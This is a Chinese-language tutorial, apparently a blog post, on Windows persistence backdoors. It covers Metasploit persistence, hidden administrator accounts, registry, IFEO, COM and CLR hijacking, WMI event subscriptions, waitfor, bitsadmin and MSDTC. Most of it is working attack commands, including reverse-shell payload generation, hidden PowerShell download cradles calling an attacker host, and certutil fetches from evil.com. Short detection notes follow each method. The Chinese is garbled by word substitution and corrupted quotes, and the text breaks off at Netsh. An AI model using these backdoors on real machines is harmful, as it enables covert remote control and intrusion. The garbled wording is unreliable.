MSF模块
Metasploit自带有权限坚持干系后门,常用的有:通过做事启动(metsvc);通过启动项启动(persistence);通过操持任务(scheduleme&schtasksabuse)。
1、天生payloadmsfvenom windows/meterpreter/reverse_tcp LHOST=192.168.2.11 LPORT=23333 X >xx.exe2、监听msf> use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.2.11set LPORT 23333exploit3、运行payload就会获取到一个meterpreter shell
Metsvc
metsvc是通过做事启动,做事名是meterpreter。启动:meterpreter> run metsvc -A移除:meterpreter> run metsvc -r
检测及查杀
AutorunsProcess ExplorerTCPView
Persistence
persistence是通过启动项启动meterpreter> run persistence –X –i 50 –p 23333 –r 192.168.2.11(YOUR MSF IP)参数解析:-X 开机启动,注册表位置:HKLM\Software\Microsoft\Windows\CurrentVersion\Run-U 当用户登录时自启动,注册表位置:HKCU\Software\Microsoft\Windows\CurrentVersion\Run-S 作为做事启动,注册表位置:HKLM\Software\Microsoft\Windows\CurrentVersion\Run-L 后门传到远程主机的位置默认为%TEMP%-P 利用的Payload,默认windows/meterpreter/reverse_tcp,该默认的payload天生的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行-i 连接超时时间 –p 端口 –r remoteIP当利用run persistence进行持久化时默认远程路径会推送到%TEMP%(\"大众C:\Users\AppData\Local\Temp\\"大众)。当用户重启或者temp目录下存在数字id,persistence持久化就会出错。meterpreter> run persistence -S -i 5 -p 23333 -r 192.168.2.11 -L c:\\Windows\\System32该命令脚本注册自启动注册表位置:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run可以利用如下命令查看注册表的Key:meterpreter> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run查询Valuesmeterpreter> reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v UxMvAJkbedJu除Valuesmeterpreter> reg deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v MDxTmrUjRGnvIaT
检测及查杀
检讨注册表干系键值AutorunsProcess Monitor
Scheduleme&Schtasksabuse
scheduleme和schtasksabuse是通过利用操持任务启动meterpreter> run scheduleme -m 1 -e /tmp/nc.exe -o \"大众-e cmd.exe -L -p 8080\"大众# 上传nc并创建操持任务每一分钟实行一次'nc -e cmd.exe -L -p 8080'meterpreter> run schtasksabuse -t 192.168.2.7 -c \公众cmd /c calc.exe\公众 -d 30# 每隔30秒实行一次calc.exe
检测及查杀
Autoruns
操持任务
无论是windows还是linux操作系统都供应操持任务功能,来实现定时或者周期性的实行一些指令。
图形化工具:taskschd.msc命令行工具:schtasks.exeSCHTASKS /parameter [arguments]/Create 创建新操持任务/Delete 删除操持任务/Query 显示所有操持任务/Run 运行操持任务/End 中止当前正在运行的操持任务Payload examples:> SCHTASKS /Create /TN update /TR xx(待实行的命令) /DELAY ONLOGON /F /RL HIGHEST
检测及查杀
Autoruns
影子账户
影子账户是指除了在注册表里面有用户记录,其他地方都不存在用户的信息。net user或打算机管理里本地用户和用户组是看不到用户信息的,具有很好的暗藏性子。
1、用'$'创建匿名用户,并加到administrator组cmd> net user admin$ 123456 /addcmd> net localgroup administrators admin$ /add2、导出匿名用户对应的sam目录下的注册表键值cmd> regedt32.exe打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users键值,然后找到admin$对应的类型以及文件夹,以及administrator对应的文件夹,将administrator文件夹中的F值内容复制到admin$对应文件夹F值中。PS:把稳Sam键值在属性中给予administrator完备掌握以及读取的权限,默认是不许可的3、删除匿名用户cmd> net user admin$ /del4、还原匿名用户HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\admin$双击导出的注册表文件,用先前导出的注册表键值对注册表进行修正,就可以重新还原之前的匿名用户
检测及查杀
1、删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下对应帐户的键值2、隐蔽帐户的登录记录,可通过查看日志获取注:工具HideAdmin能自动实现以上的创建和删除操作
PowerShell后门
Empire框架
https://github.com/EmpireProject/Empire
Schtasks-Backdoor
https://github.com/re4lity/Schtasks-Backdoor
MSF
msf> use exploit/multi/script/web_deliveryset payload windows/meterpreter/reverse_tcpset LHOST 192.168.2.11set target 2runPAYLOAD:powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');
MOF
https://wooyun.js.org/drops/Powershell%E4%B9%8BMOF%E5%90%8E%E9%97%A8.html
注册表
注册表可以理解为一个树状构造的数据库,它具有一些分外的数据类型用来存储一些数据知足运用程序的须要。
Run/RunOnce Keys
Run键值代表着开机启动项,也便是说在这个项下的键值会随着开机启动(这里的开机是指用户登录,也便是说只要有登录操作就会实行)。
RunOnce键值类似于 Run 键值,唯一的差异在于,RunOnce 键值只实行一次,操作实行后会被自动删除。
用户级
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
管理员
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
检测及查杀
检测注册表干系键值Autoruns
BootExecute Key
可以通过它来实现启动Natvice程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序。由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元。详细注册表键值为:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelistHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
上述注册表下有一个名为BootExecute的多字符串值键,它的默认值是autocheck autochk ,用于系统启动时的某些自动检讨。这个启动项目里的程序是在系统图形界面完成前就被实行的,以是具有很高的优先级。
检测及查杀
检讨注册表干系键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelistHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
Userinit Key
Userinit注册表键的浸染是在用户进行上岸时,WinLogon进程加载的指定的login scripts,可以变动它的值来添加与删除程序。详细键值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
一样平常情形下,其默认值为userinit.exe,由于该子键的值中可利用逗号分别隔多个程序,因此,在键值的数值中可加入其它程序。
结合上面powershell中的msf方法,可以达到无文件后门效果:
Powershell实现:Set-ItemProperty \"大众HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon\公众 -name Userinit -value \公众C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');\"大众# powershell反弹shell的payload参照上面msf中的web_delivery模块
检测及查杀
查看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
LogonScripts key
Logon Scripts能够优先于杀毒软件实行,绕过杀毒软件对敏感操作的拦截,详细键值:
HKEY_CURRENT_USER\Environment\创建字符串键值: UserInitMprLogonScript键值设置为bat的绝对路径:c:\1.bat
检测及查杀
查看HKEY_CURRENT_USER\Environment\UserInitMprLogonScript
Startup Keys
开始菜单启动项,指示启动文件夹的位置,User Shell Folders优先于Shell Folders。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
检测及查杀
检讨干系注册表键值Process Explorer
Browser Helper Objects
实质上是Internet Explorer启动时加载的DLL模块
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
检测及查杀
检讨注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper ObjectsProcess Explorer
AppInit_DLLs
注册表中默认存在两个注册表项:AppInit_DLLs和LoadAppInit_DLLs(win2003没有,但是可以新建),Use.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。PS:xp系统会忽略LoadAppInit_DLLs注册表项
严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载Use.dll的进程中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
检测及查杀
检讨注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs查看非常dll文件通过Process Explorer查看进程加载dll
文件关联
文件关联便是指系统把指定扩展名的文件自动关联到相应的运用程序,例如 .doc 默认打开办法是 Microsoft Word,当用户双击.doc文件时时就会启动 Word 打开该文件。
Windows的资源管理器识别文件类型是由扩展名决定的(而并不是文件头决定文件类型)。首先扩展名会对应一种文件类型,这种文件类型的不同操作再对应到不同的详细命令。
比如:
.txt --> txtfile --> { \公众open\"大众: \"大众notepad.exe %1\"大众, \公众edit\公众: \"大众notepad.exe %1\公众, ... }文件扩展名与文件类型的对应关系,可以通过assoc命令查看或修正cmd> assoc .txt.txt=txtfilecmd> ftype txtfiletxtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
干系的注册表:
HKEY_CURRENT_USER\Software\Classe //保存了当前用户的文件关联设置HKEY_LOCAL_MACHINE\Software\Classe //保存了本机上所有用户的设置HKEY_CLASS_ROOT //上面两个位置下的键值合并,是为了访问方便而建立的视图HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\ //保存了右键选择\"大众打开办法\"大众改变默认的关联程序# 用户双击文件时查找顺序:# 首先检讨...\\FileExts\\,找不到时查找HKCU,末了才是HKLM。因此检讨一个文件是否与某个程序关联可以按照这个顺序检讨。
检测及查杀
检讨注册表:HKEY_LOCAL_MACHINE\Software\Classe 、HKEY_CLASS_ROOT通过Process Explorer查看进程加载文件
映像挟制(IFEO)
映像挟制(Image File Execution Options)实在是Windows内设的用来调试程序的功能,但是现在却每每被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如\公众explorer.exe\"大众)发布相应的指令,个中包含有实行程序的路径和文件名,然后由外壳程序来实行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像挟制子键,如果存在和该程序名称完备相同的子键,就查询对应子健中包含的\"大众dubugger\"大众键值名,并用其指定的程序路径来代替原始的程序,之后实行的是遭到\公众挟制\公众的虚假程序。
大略点说便是:当你打开的是程序A,而运行的确是程序B。
注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
比如:
1、找到注册表\公众HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"大众目录下的iexplore.exe2、添加一个Debugger字符串值(REG_SZ),并且赋值为calc.exe的实行路径\"大众c:\windows\system32\calc.exe\"大众3、运行iexplore.exe即可实行calc.exe# 命令行添加:# reg add \公众HKLM\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\"大众 /v debugger /t REG_SZ /d \公众c:\windows\system32\calc.exe\"大众
但是这样设置直接是可以看到的,根据文章暗藏后门——Image File Execution Options新玩法理解到可以修正GlobalFlag的值,达到程序A静默退出结束后,会实行程序B的效果,且在注册表看不到详细值,同时Autorun检测不到。
首先下载GFlages.exe的安装器dbg的安装包:http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi1、点击关卡:Silent Process Exit2、image处填写须要挟制的软件,比如:notepad.exe3、Reporting Mode处勾选Enable Silent Process Exit Monitoring和Launch monitor process4、Monitor Process处填写须要实行的软件,比如:c:\windows\system32\calc.exe5、运用->确定然后打开notepad.exe退出后即可看到calc.exe,同时notepad.exe对应的注册表中GlobalFlag无任何值# 命令行:# reg add \公众HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\"大众 /v GlobalFlag /t REG_DWORD /d 512# reg add \"大众HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\公众 /v ReportingMode /t REG_DWORD /d 1# reg add \"大众HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe\"大众 /v MonitorProcess /t REG_SZ /d \"大众c:\windows\system32\calc.exe\"大众
检测及查杀
1、排查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options以及HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit项值是否存在关联(上述例子即可在SilentProcessExit中看到c:\windows\system32\calc.exe)2、剖析系统日志,日志ID为3000和3001,即有可能存在后门威胁3、直接删除IFEO项或者设置管理员不可修正
COM挟制
COM(组件工具模型)是微软公司为了打算机工业的软件生产更加符合人类的行为办法开拓的一种新的软件开拓技能。为开拓职员供应一个许可开拓职员掌握和操纵其他运用程序的工具的接口,每个COM工具都由一个名为CLSID的唯一ID定义,大多数COM类都在操作系统中注册,并由表示注册表中的类标识符(CLSID)的GUID标识,也便是说CLSID便是工具的身份证号,而当一个运用程序想要调用某个工具时,也是通过CLSID来探求工具的。
COM是Component Object Model (组件工具模型)的缩写COM组件由DLL和EXE形式发布的可实行代码所组成COM与措辞,平台无关COM组件对应注册表中CLSID下的注册表键值
比如:
按下Ctrl+R打开运行窗口,输入:::{20D04FE0-3AEA-1069-A2D8-08002B30309D} -> 我的电脑::{645FF040-5081-101B-9F08-00AA002F954E} -> 回收站
利用ProcessMonitor可以看到运用程序的探求过程:
1、HKEY_CURRENT_USER\Software\Classes\CLSID2、HKEY_CLASSES_ROOT\CLSID3、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
当进程探求COM组件时,首先会探求: HKCU\Software\Classes\CLSID,以是直接在CLSID下新建一个工具ID,就能够挟制某个进程或多个进程。
与DLL挟制事理附近,但是COM组件的挟制目标不一定是一个进程,也可以是一个Windows API,挟制所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。
MSF中自带了利用COM挟制的模块:exploit/windows/local/bypassuac_comhijack,该模块同时直接可以绕过UAC,详细事理参考:COM Hijacking
CLR
CLR全称Common Language Runtime(公共措辞运行库),是一个可由多种编程措辞利用的运行环境。无需管理员权限的后门,并能够挟制所有.Net程序。
cmd> SET COR_ENABLE_PROFILING=1cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}# {11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突就行cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll# 下载dllcmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll delete# 打消下载文件的缓存cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe# 新建子项{11111111-1111-1111-1111-111111111111}\InProcServecmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F# 新建REG_SZ类型键值ThreadingModel:Apartmentcmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D \公众%CD%\msg.dll\公众 /F# 修正默认路径值为msg.dll的路径cmd> 当前cmd下启动.net程序,比如:powershell,即可实行dllDLL编写参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
要使CLR能够挟制系统中全部.net程序,须要设置环境变量,可以图形化界面操作,也可以利用WMI(通过WMI修正环境变量须要系统重启或注销重新登录才能生效)。
x86系统
wmic ENVIRONMENT create name=\公众COR_ENABLE_PROFILING\公众,username=\"大众%username%\公众,VariableValue=\公众1\公众wmic ENVIRONMENT create name=\公众COR_PROFILER\"大众,username=\"大众%username%\"大众,VariableValue=\"大众{11111111-1111-1111-1111-111111111111}\公众certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServeREG.EXE ADD %KEY% /VE /T REG_SZ /D \公众%CD%\msg.dll\"大众 /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
x64系统
wmic ENVIRONMENT create name=\公众COR_ENABLE_PROFILING\公众,username=\"大众%username%\公众,VariableValue=\公众1\"大众wmic ENVIRONMENT create name=\"大众COR_PROFILER\"大众,username=\"大众%username%\公众,VariableValue=\"大众{11111111-1111-1111-1111-111111111111}\"大众certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deletecertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll deleteSET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServeREG.EXE ADD %KEY% /VE /T REG_SZ /D \公众%CD%\msg_x64.dll\"大众 /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServeREG.EXE ADD %KEY% /VE /T REG_SZ /D \"大众%CD%\msg.dll\公众 /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
POC: https://github.com/3gstudent/CLR-Injection
检测及查杀
1、检说情况变量COR_ENABLE_PROFILING和COR_PROFILER2、检讨注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\有无非常
CAccPropServicesClass&MMDeviceEnumerato
通过CLR挟制所有.Net程序的方法,无需管理员权限,可用作后门。但是通过WMI添加环境变量须要重启系统。 CAccPropServicesClass和MMDeviceEnumerato后门事理与之类似,但是不须要重启系统,同样也不须要管理员权限,同时可以绕过Autoruns对启动项的检测。
x86系统
1、新建文件在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-579291692E}\路径下加入后门dll文件;命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl2、修正注册表注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}创建子项InprocServeDefault的键值为32位dll的绝对路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment3、当打开ie或者其他程序时,就会实行加载的dll
x64系统
1、新建文件在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-579291692E}\路径下加入后门dll文件;命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl2、修正注册表1注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}创建子项InprocServeDefault的键值为64位dll路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment3、修正注册表2注册表位置:HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\创建项{BCDE0395-E52F-467C-8E3D-579291692E}创建子项InprocServeDefault的键值为32位dll路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Installer{BCDE0395-E52F-467C-8E3D-579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl创建键值:ThreadingModel | REG_SZ | Apartment4、当打开ie或者其他程序时,就会实行加载的dll
POC:https://github.com/3gstudent/COM-Object-hijacking
检测及查杀
1、注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-579291692E }2、文件路径%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-579291692E}\命名办法:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
MruPidlList
不同于上面两种COM挟制后门,前两种是被动触发的后门,MruPidlList是主动触发的后门
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}创建子项InprocServeDefault的键值为dll的绝对路径:C:\test\calc.dll创建键值: ThreadingModel | REG_SZ | Apartment
由于注册表对应COM工具MruPidlList,浸染于shell32.dll,shell32.dll用于打开网页和文件,以是当系统启动时必定会实行,于是后门也就会主动启动,相称于一个主动后门。
直不雅观的理解:系统在启动时默认启动进程explorer.exe,explorer.exe会调用shell32.dll,加载COM工具MruPidlList
此类型的后门多次被恶意软件利用:comRAT,ZeroAccess rootkit,bbsrat
检测和查杀
查看、记录、监控注册表HKEY_CURRENT_USER\Software\Classes\CLSID\的写入和修正操作
系统软件
wmi
WMI(Windows Management Instrumentation)即 Windows 管理规范,由一组强大的工具凑集组成,用于管理本地或远程的 Windows 系统。
WMI干系知识参考翻译:
WMI 的攻击,防御与取证剖析技能之攻击篇WMI 的攻击,防御与取证剖析技能之防御篇WMI 的攻击,防御与取证剖析技能之取证剖析篇原文:https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
Drops: 三好学生:
WMI Attacks: http://drops.xmd5.com/static/drops/tips-8189.htmlWMI Backdoor: http://drops.xmd5.com/static/drops/tips-8260.htmlWMI Defense: http://drops.xmd5.com/static/drops/tips-8290.html不在Client和Server留下任何文件,实际位于硬盘上的一个繁芜的数据库中(objects.data)不改动注册表仅利用powershell实现存储payload
# 管理员权限powershell> $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)powershell> $StaticClass.Name = 'Win32_EvilClass'powershell> $StaticClass.Put()powershell> $StaticClass.Properties.Add('EvilProperty' , \"大众This is payload\"大众)powershell> $StaticClass.Put()
暗藏定时启动程序
# 管理员权限# 功能:每60s实行一次notepad.exepowershell> $filterName = 'BotFilter82'powershell> $consumerName = 'BotConsumer23'# 创建一个__EventFilter,用于设定触发条件,每隔60s实行一次powershell> $exePath = 'C:\Windows\System32\notepad.exe'powershell> $Query = \"大众SELECT FROM __InstanceModificationEvent WITHIN 60 WHERETargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\公众powershell> $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace \"大众root\subscription\"大众 -Arguments @{Name= $filterName;EventNameSpace=\公众root\cimv2\"大众;QueryLanguage=\"大众WQL\公众;Query=$Query} -ErrorAction Stop# 创建一个CommandLineEventConsumer,用于设定实行的操作powershell> $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \公众root\subscription\"大众 -Arguments @{ Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}# 用于绑定filter和consumerpowershell> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace \公众root\subscription\"大众 -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
Example:
常日是通过powershell进行调用,合营schtasks进行定时启动,绕过杀软,也可以实行JavaScript脚本。
#!powershell$filterName = 'filtP1'$consumerName = 'consP1'$Command =\公众GetObject(\公众\"大众script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\"大众\公众)\公众 $Query = \"大众SELECT FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\公众 $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace \公众root\subscription\"大众 -Arguments @{Name=$filterName;EventNameSpace=\"大众root\cimv2\公众;QueryLanguage=\"大众WQL\"大众;Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace \"大众root\subscription\公众 -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace \公众root\subscription\"大众 -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
通过远程下载js脚本,进行命令调用。
优点:无文件落地
缺陷:目前杀软对powershell这类监管较严格,随意马虎被创造
检测及查杀
检测:1、查看当前WMI Event(管理员权限)#List Event FiltersGet-WMIObject -Namespace root\Subscription -Class __EventFilter#List Event ConsumersGet-WMIObject -Namespace root\Subscription -Class __EventConsumer#List Event BindingsGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding2、查看日志Microsoft-Windows-WinRM/OperationalMicrosoft-Windows-WMI-Activity/OperationalMicrosoft-Windows-DistributedCOM3、AutorunsSysinternals Autoruns只能检测到ActiveScriptEventConsumer和CommandLineEventConsumer的操作,可以理解为上述对进程和注册表监视的操作无法识别查杀:1、打消后门(管理员权限)#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter \公众Name='BotFilter82'\"大众 | Remove-WmiObject -Verbose#ConsumerGet-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter \"大众Name='BotConsumer23'\公众 | Remove-WmiObject -Verbose#BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter \"大众__Path LIKE '%BotFilter82%'\公众 | Remove-WmiObject -Verbose2、乃至禁用Winmgmt做事从根本上阻挡该方法的利用其他方法参考:http://drops.xmd5.com/static/drops/tips-8290.html
Waitfor.exe
Waitfor是用来吸收或发送来自同一域内主机的旗子暗记。位于System32文件夹下,以命令行办法启动。
思路1:有文件
1、在目标系统保存一个powershell脚本c:\waitfor1.ps1,内容为:start-process calc.execmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\waitfor1.ps12、等待接管旗子暗记waitfor persist1 && powershell -executionpolicy bypass -file c:\waitfor1.ps13、发送旗子暗记waitfor /s 127.0.0.1 /si persist1#测试时不可持续利用
思路2:无文件
将powershell payload命令通过编码保存在WMI类中,进行存储、读取、利用payload(须要管理员权限)
PowerShell> $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)PowerShell> $StaticClass.Name = 'Win32_Backdoor'PowerShell> $StaticClass.Put()| Out-NullPowerShell> $StaticClass.Properties.Add('Code' , \公众cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAAUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==\"大众)PowerShell> $StaticClass.Put() | Out-Null# 利用base64编码存储payloadPowerShell> $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;# 读取payloadPowerShell> iex $exec | Out-Null# 实行payload# 也可将上述命令存储为文件,然后实行该文件# https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor-Persistence.ps1# cmd> powershell -executionpolicy bypass .\Waitfor-Persistence.ps1激活后门:cmd> waitfor /s 127.0.0.1 /si persist#测试时可持续利用
POC:https://github.com/3gstudent/Waitfor-Persistence
检测及查杀
1、留神后台进程waitfor.exe2、利用Process Explorer查看后台可疑的cmd.exe和powershell.exe进程的启动参数
bitsadmin
bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。可绕过autorun、常见杀软检测。
bitsadmin /create backdoor# 创建任务bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe# 下载本地文件bitsadmin.exe /SetNotifyCmdLine backdoor regsv.exe \"大众/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll\"大众# 增加cmd参数,利用regsv技巧,办理命令实行弹框问题bitsadmin /Resume backdoor# 实行任务
检测及查杀
列出所有任务bitsadmin /list /allusers /verbose删除某个任务bitsadmin /cancel <Job>删除所有任务bitsadmin /reset /allusers获取任务创建韶光bitsadmin /GetCreationTime <Job>
msdtc
MSDTC,是微软分布式传输折衷程序,Windows系统默认启动该做事。当打算机加入域中,MSDTC做事启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
分别加载3个DLL:oci.dll,SQLLib80.dll,xa80.dll
然而Windows系统默认并不包含oci.dll以是可以将payload.dll重名为oci.dll并保存在%windir%\system32\下
域中的打算机启动做事MSDTC时就会加载该dll,实当代码实行。
利用MSDTC做事加载dll,实现自启动,并绕过Autoruns对启动项的检测。
检测及查杀
1、检测%windir%\system32\是否包含可疑oci.dll2、taskkill /f /im msdtc.exe3、Procmon# 对付普通用户主机,建议禁用做事MSDTC
Netsh
netsh是windows系统本身供应的功能强大的网络配置命令行工具
